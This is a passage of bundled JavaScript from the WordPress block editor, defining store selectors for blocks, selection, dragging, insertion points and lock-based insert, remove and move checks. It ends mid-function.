10846
10847
10848
10849
10850
10851
10852
10853
10854
10855
10856const { isContentBlock: selectors_isContentBlock } = unlock(external_wp_blocks_namespaceObject.privateApis);
10857const MILLISECONDS_PER_HOUR = 3600 * 1e3;
10858const MILLISECONDS_PER_DAY = 24 * 3600 * 1e3;
10859const MILLISECONDS_PER_WEEK = 7 * 24 * 3600 * 1e3;
10860const selectors_EMPTY_ARRAY = [];
10861const EMPTY_SET = /* @__PURE__ */ new Set();
10862const DEFAULT_INSERTER_OPTIONS = {
10863 [isFiltered]: true
10864};
10865function getBlockName(state, clientId) {
10866 const block = state.blocks.byClientId.get(clientId);
10867 const socialLinkName = "core/social-link";
10868 if (external_wp_element_namespaceObject.Platform.OS !== "web" && block?.name === socialLinkName) {
10869 const attributes = state.blocks.attributes.get(clientId);
10870 const { service } = attributes ?? {};
10871 return service ? `${socialLinkName}-${service}` : socialLinkName;
10872 }
10873 return block ? block.name : null;
10874}
10875function isBlockValid(state, clientId) {
10876 const block = state.blocks.byClientId.get(clientId);
10877 return !!block && block.isValid;
10878}
10879function getBlockAttributes(state, clientId) {
10880 const block = state.blocks.byClientId.get(clientId);
10881 if (!block) {
10882 return null;
10883 }
10884 return state.blocks.attributes.get(clientId);
10885}
10886function getBlock(state, clientId) {
10887 if (!state.blocks.byClientId.has(clientId)) {
10888 return null;
10889 }
10890 return state.blocks.tree.get(clientId);
10891}
10892const __unstableGetBlockWithoutInnerBlocks = (0,external_wp_data_namespaceObject.createSelector)(
10893 (state, clientId) => {
10894 const block = state.blocks.byClientId.get(clientId);
10895 if (!block) {
10896 return null;
10897 }
10898 return {
10899 ...block,
10900 attributes: getBlockAttributes(state, clientId)
10901 };
10902 },
10903 (state, clientId) => [
10904 state.blocks.byClientId.get(clientId),
10905 state.blocks.attributes.get(clientId)
10906 ]
10907);
10908function getBlocks(state, rootClientId) {
10909 const treeKey = !rootClientId || !areInnerBlocksControlled(state, rootClientId) ? rootClientId || "" : "controlled||" + rootClientId;
10910 return state.blocks.tree.get(treeKey)?.innerBlocks || selectors_EMPTY_ARRAY;
10911}
10912const __unstableGetClientIdWithClientIdsTree = (0,external_wp_data_namespaceObject.createSelector)(
10913 (state, clientId) => {
10914 external_wp_deprecated_default()(
10915 "wp.data.select( 'core/block-editor' ).__unstableGetClientIdWithClientIdsTree",
10916 {
10917 since: "6.3",
10918 version: "6.5"
10919 }
10920 );
10921 return {
10922 clientId,
10923 innerBlocks: __unstableGetClientIdsTree(state, clientId)
10924 };
10925 },
10926 (state) => [state.blocks.order]
10927);
10928const __unstableGetClientIdsTree = (0,external_wp_data_namespaceObject.createSelector)(
10929 (state, rootClientId = "") => {
10930 external_wp_deprecated_default()(
10931 "wp.data.select( 'core/block-editor' ).__unstableGetClientIdsTree",
10932 {
10933 since: "6.3",
10934 version: "6.5"
10935 }
10936 );
10937 return getBlockOrder(state, rootClientId).map(
10938 (clientId) => __unstableGetClientIdWithClientIdsTree(state, clientId)
10939 );
10940 },
10941 (state) => [state.blocks.order]
10942);
10943const getClientIdsOfDescendants = (0,external_wp_data_namespaceObject.createSelector)(
10944 (state, rootIds) => {
10945 rootIds = Array.isArray(rootIds) ? [...rootIds] : [rootIds];
10946 const ids = [];
10947 for (const rootId of rootIds) {
10948 const order = state.blocks.order.get(rootId);
10949 if (order) {
10950 ids.push(...order);
10951 }
10952 }
10953 let index = 0;
10954 while (index < ids.length) {
10955 const id = ids[index];
10956 const order = state.blocks.order.get(id);
10957 if (order) {
10958 ids.splice(index + 1, 0, ...order);
10959 }
10960 index++;
10961 }
10962 return ids;
10963 },
10964 (state) => [state.blocks.order]
10965);
10966const getClientIdsWithDescendants = (state) => getClientIdsOfDescendants(state, "");
10967const getGlobalBlockCount = (0,external_wp_data_namespaceObject.createSelector)(
10968 (state, blockName) => {
10969 const clientIds = getClientIdsWithDescendants(state);
10970 if (!blockName) {
10971 return clientIds.length;
10972 }
10973 let count = 0;
10974 for (const clientId of clientIds) {
10975 const block = state.blocks.byClientId.get(clientId);
10976 if (block.name === blockName) {
10977 count++;
10978 }
10979 }
10980 return count;
10981 },
10982 (state) => [state.blocks.order, state.blocks.byClientId]
10983);
10984const getBlocksByName = (0,external_wp_data_namespaceObject.createSelector)(
10985 (state, blockName) => {
10986 if (!blockName) {
10987 return selectors_EMPTY_ARRAY;
10988 }
10989 const blockNames = Array.isArray(blockName) ? blockName : [blockName];
10990 const clientIds = getClientIdsWithDescendants(state);
10991 const foundBlocks = clientIds.filter((clientId) => {
10992 const block = state.blocks.byClientId.get(clientId);
10993 return blockNames.includes(block.name);
10994 });
10995 return foundBlocks.length > 0 ? foundBlocks : selectors_EMPTY_ARRAY;
10996 },
10997 (state) => [state.blocks.order, state.blocks.byClientId]
10998);
10999function __experimentalGetGlobalBlocksByName(state, blockName) {
11000 external_wp_deprecated_default()(
11001 "wp.data.select( 'core/block-editor' ).__experimentalGetGlobalBlocksByName",
11002 {
11003 since: "6.5",
11004 alternative: `wp.data.select( 'core/block-editor' ).getBlocksByName`
11005 }
11006 );
11007 return getBlocksByName(state, blockName);
11008}
11009const getBlocksByClientId = (0,external_wp_data_namespaceObject.createSelector)(
11010 (state, clientIds) => (Array.isArray(clientIds) ? clientIds : [clientIds]).map(
11011 (clientId) => getBlock(state, clientId)
11012 ),
11013 (state, clientIds) => (Array.isArray(clientIds) ? clientIds : [clientIds]).map(
11014 (clientId) => state.blocks.tree.get(clientId)
11015 )
11016);
11017const getBlockNamesByClientId = (0,external_wp_data_namespaceObject.createSelector)(
11018 (state, clientIds) => getBlocksByClientId(state, clientIds).filter(Boolean).map((block) => block.name),
11019 (state, clientIds) => getBlocksByClientId(state, clientIds)
11020);
11021function getBlockCount(state, rootClientId) {
11022 return getBlockOrder(state, rootClientId).length;
11023}
11024function getSelectionStart(state) {
11025 return state.selection.selectionStart;
11026}
11027function getSelectionEnd(state) {
11028 return state.selection.selectionEnd;
11029}
11030function getBlockSelectionStart(state) {
11031 return state.selection.selectionStart.clientId;
11032}
11033function getBlockSelectionEnd(state) {
11034 return state.selection.selectionEnd.clientId;
11035}
11036function getSelectedBlockCount(state) {
11037 const multiSelectedBlockCount = getMultiSelectedBlockClientIds(state).length;
11038 if (multiSelectedBlockCount) {
11039 return multiSelectedBlockCount;
11040 }
11041 return state.selection.selectionStart.clientId ? 1 : 0;
11042}
11043function hasSelectedBlock(state) {
11044 const { selectionStart, selectionEnd } = state.selection;
11045 return !!selectionStart.clientId && selectionStart.clientId === selectionEnd.clientId;
11046}
11047function getSelectedBlockClientId(state) {
11048 const { selectionStart, selectionEnd } = state.selection;
11049 const { clientId } = selectionStart;
11050 if (!clientId || clientId !== selectionEnd.clientId) {
11051 return null;
11052 }
11053 return clientId;
11054}
11055function getSelectedBlock(state) {
11056 const clientId = getSelectedBlockClientId(state);
11057 return clientId ? getBlock(state, clientId) : null;
11058}
11059function getBlockRootClientId(state, clientId) {
11060 return state.blocks.parents.get(clientId) ?? null;
11061}
11062const getBlockParents = (0,external_wp_data_namespaceObject.createSelector)(
11063 (state, clientId, ascending = false) => {
11064 const parents = [];
11065 let current = clientId;
11066 while (current = state.blocks.parents.get(current)) {
11067 parents.push(current);
11068 }
11069 if (!parents.length) {
11070 return selectors_EMPTY_ARRAY;
11071 }
11072 return ascending ? parents : parents.reverse();
11073 },
11074 (state) => [state.blocks.parents]
11075);
11076const getBlockParentsByBlockName = (0,external_wp_data_namespaceObject.createSelector)(
11077 (state, clientId, blockName, ascending = false) => {
11078 const parents = getBlockParents(state, clientId, ascending);
11079 const hasName = Array.isArray(blockName) ? (name) => blockName.includes(name) : (name) => blockName === name;
11080 return parents.filter((id) => hasName(getBlockName(state, id)));
11081 },
11082 (state) => [state.blocks.parents]
11083);
11084function getBlockHierarchyRootClientId(state, clientId) {
11085 let current = clientId;
11086 let parent;
11087 do {
11088 parent = current;
11089 current = state.blocks.parents.get(current);
11090 } while (current);
11091 return parent;
11092}
11093function getLowestCommonAncestorWithSelectedBlock(state, clientId) {
11094 const selectedId = getSelectedBlockClientId(state);
11095 const clientParents = [...getBlockParents(state, clientId), clientId];
11096 const selectedParents = [
11097 ...getBlockParents(state, selectedId),
11098 selectedId
11099 ];
11100 let lowestCommonAncestor;
11101 const maxDepth = Math.min(clientParents.length, selectedParents.length);
11102 for (let index = 0; index < maxDepth; index++) {
11103 if (clientParents[index] === selectedParents[index]) {
11104 lowestCommonAncestor = clientParents[index];
11105 } else {
11106 break;
11107 }
11108 }
11109 return lowestCommonAncestor;
11110}
11111function getAdjacentBlockClientId(state, startClientId, modifier = 1) {
11112 if (startClientId === void 0) {
11113 startClientId = getSelectedBlockClientId(state);
11114 }
11115 if (startClientId === void 0) {
11116 if (modifier < 0) {
11117 startClientId = getFirstMultiSelectedBlockClientId(state);
11118 } else {
11119 startClientId = getLastMultiSelectedBlockClientId(state);
11120 }
11121 }
11122 if (!startClientId) {
11123 return null;
11124 }
11125 const rootClientId = getBlockRootClientId(state, startClientId);
11126 if (rootClientId === null) {
11127 return null;
11128 }
11129 const { order } = state.blocks;
11130 const orderSet = order.get(rootClientId);
11131 const index = orderSet.indexOf(startClientId);
11132 const nextIndex = index + 1 * modifier;
11133 if (nextIndex < 0) {
11134 return null;
11135 }
11136 if (nextIndex === orderSet.length) {
11137 return null;
11138 }
11139 return orderSet[nextIndex];
11140}
11141function getPreviousBlockClientId(state, startClientId) {
11142 return getAdjacentBlockClientId(state, startClientId, -1);
11143}
11144function getNextBlockClientId(state, startClientId) {
11145 return getAdjacentBlockClientId(state, startClientId, 1);
11146}
11147function getSelectedBlocksInitialCaretPosition(state) {
11148 return state.initialPosition;
11149}
11150const getSelectedBlockClientIds = (0,external_wp_data_namespaceObject.createSelector)(
11151 (state) => {
11152 const { selectionStart, selectionEnd } = state.selection;
11153 if (!selectionStart.clientId || !selectionEnd.clientId) {
11154 return selectors_EMPTY_ARRAY;
11155 }
11156 if (selectionStart.clientId === selectionEnd.clientId) {
11157 return [selectionStart.clientId];
11158 }
11159 const rootClientId = getBlockRootClientId(
11160 state,
11161 selectionStart.clientId
11162 );
11163 if (rootClientId === null) {
11164 return selectors_EMPTY_ARRAY;
11165 }
11166 const blockOrder = getBlockOrder(state, rootClientId);
11167 const startIndex = blockOrder.indexOf(selectionStart.clientId);
11168 const endIndex = blockOrder.indexOf(selectionEnd.clientId);
11169 if (startIndex > endIndex) {
11170 return blockOrder.slice(endIndex, startIndex + 1);
11171 }
11172 return blockOrder.slice(startIndex, endIndex + 1);
11173 },
11174 (state) => [
11175 state.blocks.order,
11176 state.selection.selectionStart.clientId,
11177 state.selection.selectionEnd.clientId
11178 ]
11179);
11180function getMultiSelectedBlockClientIds(state) {
11181 const { selectionStart, selectionEnd } = state.selection;
11182 if (selectionStart.clientId === selectionEnd.clientId) {
11183 return selectors_EMPTY_ARRAY;
11184 }
11185 return getSelectedBlockClientIds(state);
11186}
11187const getMultiSelectedBlocks = (0,external_wp_data_namespaceObject.createSelector)(
11188 (state) => {
11189 const multiSelectedBlockClientIds = getMultiSelectedBlockClientIds(state);
11190 if (!multiSelectedBlockClientIds.length) {
11191 return selectors_EMPTY_ARRAY;
11192 }
11193 return multiSelectedBlockClientIds.map(
11194 (clientId) => getBlock(state, clientId)
11195 );
11196 },
11197 (state) => [
11198 ...getSelectedBlockClientIds.getDependants(state),
11199 state.blocks.byClientId,
11200 state.blocks.order,
11201 state.blocks.attributes
11202 ]
11203);
11204function getFirstMultiSelectedBlockClientId(state) {
11205 return getMultiSelectedBlockClientIds(state)[0] || null;
11206}
11207function getLastMultiSelectedBlockClientId(state) {
11208 const selectedClientIds = getMultiSelectedBlockClientIds(state);
11209 return selectedClientIds[selectedClientIds.length - 1] || null;
11210}
11211function isFirstMultiSelectedBlock(state, clientId) {
11212 return getFirstMultiSelectedBlockClientId(state) === clientId;
11213}
11214function isBlockMultiSelected(state, clientId) {
11215 return getMultiSelectedBlockClientIds(state).indexOf(clientId) !== -1;
11216}
11217const isAncestorMultiSelected = (0,external_wp_data_namespaceObject.createSelector)(
11218 (state, clientId) => {
11219 let ancestorClientId = clientId;
11220 let isMultiSelected = false;
11221 while (ancestorClientId && !isMultiSelected) {
11222 ancestorClientId = getBlockRootClientId(state, ancestorClientId);
11223 isMultiSelected = isBlockMultiSelected(state, ancestorClientId);
11224 }
11225 return isMultiSelected;
11226 },
11227 (state) => [
11228 state.blocks.order,
11229 state.selection.selectionStart.clientId,
11230 state.selection.selectionEnd.clientId
11231 ]
11232);
11233function getMultiSelectedBlocksStartClientId(state) {
11234 const { selectionStart, selectionEnd } = state.selection;
11235 if (selectionStart.clientId === selectionEnd.clientId) {
11236 return null;
11237 }
11238 return selectionStart.clientId || null;
11239}
11240function getMultiSelectedBlocksEndClientId(state) {
11241 const { selectionStart, selectionEnd } = state.selection;
11242 if (selectionStart.clientId === selectionEnd.clientId) {
11243 return null;
11244 }
11245 return selectionEnd.clientId || null;
11246}
11247function __unstableIsFullySelected(state) {
11248 const selectionAnchor = getSelectionStart(state);
11249 const selectionFocus = getSelectionEnd(state);
11250 return !selectionAnchor.attributeKey && !selectionFocus.attributeKey && typeof selectionAnchor.offset === "undefined" && typeof selectionFocus.offset === "undefined";
11251}
11252function __unstableIsSelectionCollapsed(state) {
11253 const selectionAnchor = getSelectionStart(state);
11254 const selectionFocus = getSelectionEnd(state);
11255 return !!selectionAnchor && !!selectionFocus && selectionAnchor.clientId === selectionFocus.clientId && selectionAnchor.attributeKey === selectionFocus.attributeKey && selectionAnchor.offset === selectionFocus.offset;
11256}
11257function __unstableSelectionHasUnmergeableBlock(state) {
11258 return getSelectedBlockClientIds(state).some((clientId) => {
11259 const blockName = getBlockName(state, clientId);
11260 const blockType = (0,external_wp_blocks_namespaceObject.getBlockType)(blockName);
11261 return !blockType.merge;
11262 });
11263}
11264function __unstableIsSelectionMergeable(state, isForward) {
11265 const selectionAnchor = getSelectionStart(state);
11266 const selectionFocus = getSelectionEnd(state);
11267 if (selectionAnchor.clientId === selectionFocus.clientId) {
11268 return false;
11269 }
11270 if (!selectionAnchor.attributeKey || !selectionFocus.attributeKey || typeof selectionAnchor.offset === "undefined" || typeof selectionFocus.offset === "undefined") {
11271 return false;
11272 }
11273 const anchorRootClientId = getBlockRootClientId(
11274 state,
11275 selectionAnchor.clientId
11276 );
11277 const focusRootClientId = getBlockRootClientId(
11278 state,
11279 selectionFocus.clientId
11280 );
11281 if (anchorRootClientId !== focusRootClientId) {
11282 return false;
11283 }
11284 const blockOrder = getBlockOrder(state, anchorRootClientId);
11285 const anchorIndex = blockOrder.indexOf(selectionAnchor.clientId);
11286 const focusIndex = blockOrder.indexOf(selectionFocus.clientId);
11287 let selectionStart, selectionEnd;
11288 if (anchorIndex > focusIndex) {
11289 selectionStart = selectionFocus;
11290 selectionEnd = selectionAnchor;
11291 } else {
11292 selectionStart = selectionAnchor;
11293 selectionEnd = selectionFocus;
11294 }
11295 const targetBlockClientId = isForward ? selectionEnd.clientId : selectionStart.clientId;
11296 const blockToMergeClientId = isForward ? selectionStart.clientId : selectionEnd.clientId;
11297 const targetBlockName = getBlockName(state, targetBlockClientId);
11298 const targetBlockType = (0,external_wp_blocks_namespaceObject.getBlockType)(targetBlockName);
11299 if (!targetBlockType.merge) {
11300 return false;
11301 }
11302 const blockToMerge = getBlock(state, blockToMergeClientId);
11303 if (blockToMerge.name === targetBlockName) {
11304 return true;
11305 }
11306 const blocksToMerge = (0,external_wp_blocks_namespaceObject.switchToBlockType)(blockToMerge, targetBlockName);
11307 return blocksToMerge && blocksToMerge.length;
11308}
11309const __unstableGetSelectedBlocksWithPartialSelection = (state) => {
11310 const selectionAnchor = getSelectionStart(state);
11311 const selectionFocus = getSelectionEnd(state);
11312 if (selectionAnchor.clientId === selectionFocus.clientId) {
11313 return selectors_EMPTY_ARRAY;
11314 }
11315 if (!selectionAnchor.attributeKey || !selectionFocus.attributeKey || typeof selectionAnchor.offset === "undefined" || typeof selectionFocus.offset === "undefined") {
11316 return selectors_EMPTY_ARRAY;
11317 }
11318 const anchorRootClientId = getBlockRootClientId(
11319 state,
11320 selectionAnchor.clientId
11321 );
11322 const focusRootClientId = getBlockRootClientId(
11323 state,
11324 selectionFocus.clientId
11325 );
11326 if (anchorRootClientId !== focusRootClientId) {
11327 return selectors_EMPTY_ARRAY;
11328 }
11329 const blockOrder = getBlockOrder(state, anchorRootClientId);
11330 const anchorIndex = blockOrder.indexOf(selectionAnchor.clientId);
11331 const focusIndex = blockOrder.indexOf(selectionFocus.clientId);
11332 const [selectionStart, selectionEnd] = anchorIndex > focusIndex ? [selectionFocus, selectionAnchor] : [selectionAnchor, selectionFocus];
11333 const blockA = getBlock(state, selectionStart.clientId);
11334 const blockB = getBlock(state, selectionEnd.clientId);
11335 const htmlA = blockA.attributes[selectionStart.attributeKey];
11336 const htmlB = blockB.attributes[selectionEnd.attributeKey];
11337 let valueA = (0,external_wp_richText_namespaceObject.create)({ html: htmlA });
11338 let valueB = (0,external_wp_richText_namespaceObject.create)({ html: htmlB });
11339 valueA = (0,external_wp_richText_namespaceObject.remove)(valueA, 0, selectionStart.offset);
11340 valueB = (0,external_wp_richText_namespaceObject.remove)(valueB, selectionEnd.offset, valueB.text.length);
11341 return [
11342 {
11343 ...blockA,
11344 attributes: {
11345 ...blockA.attributes,
11346 [selectionStart.attributeKey]: (0,external_wp_richText_namespaceObject.toHTMLString)({
11347 value: valueA
11348 })
11349 }
11350 },
11351 {
11352 ...blockB,
11353 attributes: {
11354 ...blockB.attributes,
11355 [selectionEnd.attributeKey]: (0,external_wp_richText_namespaceObject.toHTMLString)({
11356 value: valueB
11357 })
11358 }
11359 }
11360 ];
11361};
11362function getBlockOrder(state, rootClientId) {
11363 return state.blocks.order.get(rootClientId || "") || selectors_EMPTY_ARRAY;
11364}
11365function getBlockIndex(state, clientId) {
11366 const rootClientId = getBlockRootClientId(state, clientId);
11367 return getBlockOrder(state, rootClientId).indexOf(clientId);
11368}
11369function isBlockSelected(state, clientId) {
11370 const { selectionStart, selectionEnd } = state.selection;
11371 if (selectionStart.clientId !== selectionEnd.clientId) {
11372 return false;
11373 }
11374 return selectionStart.clientId === clientId;
11375}
11376function hasSelectedInnerBlock(state, clientId, deep = false) {
11377 const selectedBlockClientIds = getSelectedBlockClientIds(state);
11378 if (!selectedBlockClientIds.length) {
11379 return false;
11380 }
11381 if (deep) {
11382 return selectedBlockClientIds.some(
11383 (id) => (
11384 // Pass true because we don't care about order and it's more
11385 // performant.
11386 getBlockParents(state, id, true).includes(clientId)
11387 )
11388 );
11389 }
11390 return selectedBlockClientIds.some(
11391 (id) => getBlockRootClientId(state, id) === clientId
11392 );
11393}
11394function hasDraggedInnerBlock(state, clientId, deep = false) {
11395 return getBlockOrder(state, clientId).some(
11396 (innerClientId) => isBlockBeingDragged(state, innerClientId) || deep && hasDraggedInnerBlock(state, innerClientId, deep)
11397 );
11398}
11399function isBlockWithinSelection(state, clientId) {
11400 if (!clientId) {
11401 return false;
11402 }
11403 const clientIds = getMultiSelectedBlockClientIds(state);
11404 const index = clientIds.indexOf(clientId);
11405 return index > -1 && index < clientIds.length - 1;
11406}
11407function hasMultiSelection(state) {
11408 const { selectionStart, selectionEnd } = state.selection;
11409 return selectionStart.clientId !== selectionEnd.clientId;
11410}
11411function selectors_isMultiSelecting(state) {
11412 return state.isMultiSelecting;
11413}
11414function selectors_isSelectionEnabled(state) {
11415 return state.isSelectionEnabled;
11416}
11417function getBlockMode(state, clientId) {
11418 return state.blocksMode[clientId] || "visual";
11419}
11420function selectors_isTyping(state) {
11421 return state.isTyping;
11422}
11423function isDraggingBlocks(state) {
11424 return !!state.draggedBlocks.length;
11425}
11426function getDraggedBlockClientIds(state) {
11427 return state.draggedBlocks;
11428}
11429function isBlockBeingDragged(state, clientId) {
11430 return state.draggedBlocks.includes(clientId);
11431}
11432function isAncestorBeingDragged(state, clientId) {
11433 if (!isDraggingBlocks(state)) {
11434 return false;
11435 }
11436 const parents = getBlockParents(state, clientId);
11437 return parents.some(
11438 (parentClientId) => isBlockBeingDragged(state, parentClientId)
11439 );
11440}
11441function isCaretWithinFormattedText() {
11442 external_wp_deprecated_default()(
11443 'wp.data.select( "core/block-editor" ).isCaretWithinFormattedText',
11444 {
11445 since: "6.1",
11446 version: "6.3"
11447 }
11448 );
11449 return false;
11450}
11451const getBlockInsertionPoint = (0,external_wp_data_namespaceObject.createSelector)(
11452 (state) => {
11453 let rootClientId, index;
11454 const {
11455 insertionCue,
11456 selection: { selectionEnd }
11457 } = state;
11458 if (insertionCue !== null) {
11459 return insertionCue;
11460 }
11461 const { clientId } = selectionEnd;
11462 if (clientId) {
11463 rootClientId = getBlockRootClientId(state, clientId) || void 0;
11464 index = getBlockIndex(state, selectionEnd.clientId) + 1;
11465 } else {
11466 index = getBlockOrder(state).length;
11467 }
11468 return { rootClientId, index };
11469 },
11470 (state) => [
11471 state.insertionCue,
11472 state.selection.selectionEnd.clientId,
11473 state.blocks.parents,
11474 state.blocks.order
11475 ]
11476);
11477function isBlockInsertionPointVisible(state) {
11478 return state.insertionCue !== null;
11479}
11480function isValidTemplate(state) {
11481 return state.template.isValid;
11482}
11483function getTemplate(state) {
11484 return state.settings.template;
11485}
11486function getTemplateLock(state, rootClientId) {
11487 if (!rootClientId) {
11488 return state.settings.templateLock ?? false;
11489 }
11490 return getBlockListSettings(state, rootClientId)?.templateLock ?? false;
11491}
11492const isBlockVisibleInTheInserter = (state, blockNameOrType, rootClientId = null) => {
11493 let blockType;
11494 let blockName;
11495 if (blockNameOrType && "object" === typeof blockNameOrType) {
11496 blockType = blockNameOrType;
11497 blockName = blockNameOrType.name;
11498 } else {
11499 blockType = (0,external_wp_blocks_namespaceObject.getBlockType)(blockNameOrType);
11500 blockName = blockNameOrType;
11501 }
11502 if (!blockType) {
11503 return false;
11504 }
11505 const { allowedBlockTypes } = getSettings(state);
11506 const isBlockAllowedInEditor = checkAllowList(
11507 allowedBlockTypes,
11508 blockName,
11509 true
11510 );
11511 if (!isBlockAllowedInEditor) {
11512 return false;
11513 }
11514 const parents = (Array.isArray(blockType.parent) ? blockType.parent : []).concat(Array.isArray(blockType.ancestor) ? blockType.ancestor : []);
11515 if (parents.length > 0) {
11516 if (parents.includes("core/post-content")) {
11517 return true;
11518 }
11519 let current = rootClientId;
11520 let hasParent = false;
11521 do {
11522 if (parents.includes(getBlockName(state, current))) {
11523 hasParent = true;
11524 break;
11525 }
11526 current = state.blocks.parents.get(current);
11527 } while (current);
11528 return hasParent;
11529 }
11530 return true;
11531};
11532const canInsertBlockTypeUnmemoized = (state, blockName, rootClientId = null) => {
11533 if (!isBlockVisibleInTheInserter(state, blockName, rootClientId)) {
11534 return false;
11535 }
11536 let blockType;
11537 if (blockName && "object" === typeof blockName) {
11538 blockType = blockName;
11539 blockName = blockType.name;
11540 } else {
11541 blockType = (0,external_wp_blocks_namespaceObject.getBlockType)(blockName);
11542 }
11543 if (getTemplateLock(state, rootClientId)) {
11544 return false;
11545 }
11546 const blockEditingMode = getBlockEditingMode(state, rootClientId ?? "");
11547 if (blockEditingMode === "disabled") {
11548 return false;
11549 }
11550 const parentBlockListSettings = getBlockListSettings(state, rootClientId);
11551 if (rootClientId && parentBlockListSettings === void 0) {
11552 return false;
11553 }
11554 const isContentRoleBlock = selectors_isContentBlock(blockName);
11555 const isParentSectionBlock = !!isSectionBlock(state, rootClientId);
11556 const isBlockWithinSection = !!getParentSectionBlock(
11557 state,
11558 rootClientId
11559 );
11560 if ((isParentSectionBlock || isBlockWithinSection) && !isContentRoleBlock) {
11561 return false;
11562 }
11563 if ((isParentSectionBlock || blockEditingMode === "contentOnly") && !isContainerInsertableToInContentOnlyMode(
11564 state,
11565 blockName,
11566 rootClientId
11567 )) {
11568 return false;
11569 }
11570 const parentName = getBlockName(state, rootClientId);
11571 const parentBlockType = (0,external_wp_blocks_namespaceObject.getBlockType)(parentName);
11572 const parentAllowedChildBlocks = parentBlockType?.allowedBlocks;
11573 let hasParentAllowedBlock = checkAllowList(
11574 parentAllowedChildBlocks,
11575 blockName
11576 );
11577 if (hasParentAllowedBlock !== false) {
11578 const parentAllowedBlocks = parentBlockListSettings?.allowedBlocks;
11579 const hasParentListAllowedBlock = checkAllowList(
11580 parentAllowedBlocks,
11581 blockName
11582 );
11583 if (hasParentListAllowedBlock !== null) {
11584 hasParentAllowedBlock = hasParentListAllowedBlock;
11585 }
11586 }
11587 const blockAllowedParentBlocks = blockType.parent;
11588 const hasBlockAllowedParent = checkAllowList(
11589 blockAllowedParentBlocks,
11590 parentName
11591 );
11592 let hasBlockAllowedAncestor = true;
11593 const blockAllowedAncestorBlocks = blockType.ancestor;
11594 if (blockAllowedAncestorBlocks) {
11595 const ancestors = [
11596 rootClientId,
11597 ...getBlockParents(state, rootClientId)
11598 ];
11599 hasBlockAllowedAncestor = ancestors.some(
11600 (ancestorClientId) => checkAllowList(
11601 blockAllowedAncestorBlocks,
11602 getBlockName(state, ancestorClientId)
11603 )
11604 );
11605 }
11606 const canInsert = hasBlockAllowedAncestor && (hasParentAllowedBlock === null && hasBlockAllowedParent === null || hasParentAllowedBlock === true || hasBlockAllowedParent === true);
11607 if (!canInsert) {
11608 return canInsert;
11609 }
11610 return (0,external_wp_hooks_namespaceObject.applyFilters)(
11611 "blockEditor.__unstableCanInsertBlockType",
11612 canInsert,
11613 blockType,
11614 rootClientId,
11615 {
11616 // Pass bound selectors of the current registry. If we're in a nested
11617 // context, the data will differ from the one selected from the root
11618 // registry.
11619 getBlock: getBlock.bind(null, state),
11620 getBlockParentsByBlockName: getBlockParentsByBlockName.bind(
11621 null,
11622 state
11623 )
11624 }
11625 );
11626};
11627const canInsertBlockType = (0,external_wp_data_namespaceObject.createRegistrySelector)(
11628 (select) => (0,external_wp_data_namespaceObject.createSelector)(
11629 canInsertBlockTypeUnmemoized,
11630 (state, blockName, rootClientId) => getInsertBlockTypeDependants(select)(state, rootClientId)
11631 )
11632);
11633function canInsertBlocks(state, clientIds, rootClientId = null) {
11634 return clientIds.every(
11635 (id) => canInsertBlockType(state, getBlockName(state, id), rootClientId)
11636 );
11637}
11638function canRemoveBlock(state, clientId) {
11639 const attributes = getBlockAttributes(state, clientId);
11640 if (attributes === null) {
11641 return true;
11642 }
11643 if (attributes.lock?.remove !== void 0) {
11644 return !attributes.lock.remove;
11645 }
11646 const rootClientId = getBlockRootClientId(state, clientId);
11647 if (getTemplateLock(state, rootClientId)) {
11648 return false;
11649 }
11650 const isBlockWithinSection = !!getParentSectionBlock(state, clientId);
11651 const isContentRoleBlock = selectors_isContentBlock(
11652 getBlockName(state, clientId)
11653 );
11654 if (isBlockWithinSection && !isContentRoleBlock) {
11655 return false;
11656 }
11657 const isParentSectionBlock = !!isSectionBlock(state, rootClientId);
11658 const rootBlockEditingMode = getBlockEditingMode(state, rootClientId);
11659 if ((isParentSectionBlock || rootBlockEditingMode === "contentOnly") && !isContainerInsertableToInContentOnlyMode(
11660 state,
11661 getBlockName(state, clientId),
11662 rootClientId
11663 )) {
11664 return false;
11665 }
11666 return rootBlockEditingMode !== "disabled";
11667}
11668function canRemoveBlocks(state, clientIds) {
11669 return clientIds.every((clientId) => canRemoveBlock(state, clientId));
11670}
11671function canMoveBlock(state, clientId) {
11672 const attributes = getBlockAttributes(state, clientId);
11673 if (attributes === null) {
11674 return true;
11675 }
11676 if (attributes.lock?.move !== void 0) {
11677 return !attributes.lock.move;
11678 }
11679 const rootClientId = getBlockRootClientId(state, clientId);
11680 const templateLock = getTemplateLock(state, rootClientId);
11681 if (templateLock === "all" || templateLock === "contentOnly") {
11682 return false;
11683 }
11684 const isBlockWithinSection = !!getParentSectionBlock(state, clientId);
11685 const isContentRoleBlock = selectors_isContentBlock(
11686 getBlockName(state, clientId)
11687 );
11688 if (isBlockWithinSection && !isContentRoleBlock) {
11689 return false;
11690 }
11691 const isParentSectionBlock = !!isSectionBlock(state, rootClientId);
11692 const rootBlockEditingMode = getBlockEditingMode(state, rootClientId);
11693 if ((isParentSectionBlock || rootBlockEditingMode === "contentOnly") && !isContainerInsertableToInContentOnlyMode(
11694 state,
11695 getBlockName(state, clientId),
11696 rootClientId
11697 )) {
11698 return false;
11699 }
11700 return getBlockEditingMode(state, rootClientId) !== "disabled";
11701}
11702function canMoveBlocks(state, clientIds) {
11703 return clientIds.every((clientId) => canMoveBlock(state, clientId));
11704}
11705function canEditBlock(state, clientId) {
11706 const attributes = getBlockAttributes(state, clientId);
11707 if (attributes === null) {
11708 return true;
11709 }
11710 const { lock } = attributes;
11711 return !lock?.edit;
11712}
11713function canLockBlockType(state, nameOrType) {
11714 if (!(0,external_wp_blocks_namespaceObject.hasBlockSupport)(nameOrType, "lock", true)) {
11715 return false;
11716 }
11717 return !!state.settings?.canLockBlocks;
11718}
11719function getInsertUsage(state, id) {
11720 return state.preferences.insertUsage?.[id] ?? null;
11721}
11722const canIncludeBlockTypeInInserter = (state, blockType, rootClientId) => {
11723 if (!(0,external_wp_blocks_namespaceObject.hasBlockSupport)(blockType, "inserter", true)) {
11724 return false;
11725 }
11726 return canInsertBlockTypeUnmemoized(state, blockType.name, rootClientId);
11727};
11728const getItemFromVariation = (state, item) => (variation) => {
11729 const variationId = `${item.id}/${variation.name}`;
11730 const { time, count = 0 } = getInsertUsage(state, variationId) || {};
11731 return {
11732 ...item,
11733 id: variationId,
11734 icon: variation.icon || item.icon,
11735 title: variation.title || item.title,
11736 description: variation.description || item.description,
11737 category: variation.category || item.category,
11738 // If `example` is explicitly undefined for the variation, the preview will not be shown.
11739 example: variation.hasOwnProperty("example") ? variation.example : item.example,
11740 initialAttributes: {
11741 ...item.initialAttributes,
11742 ...variation.attributes
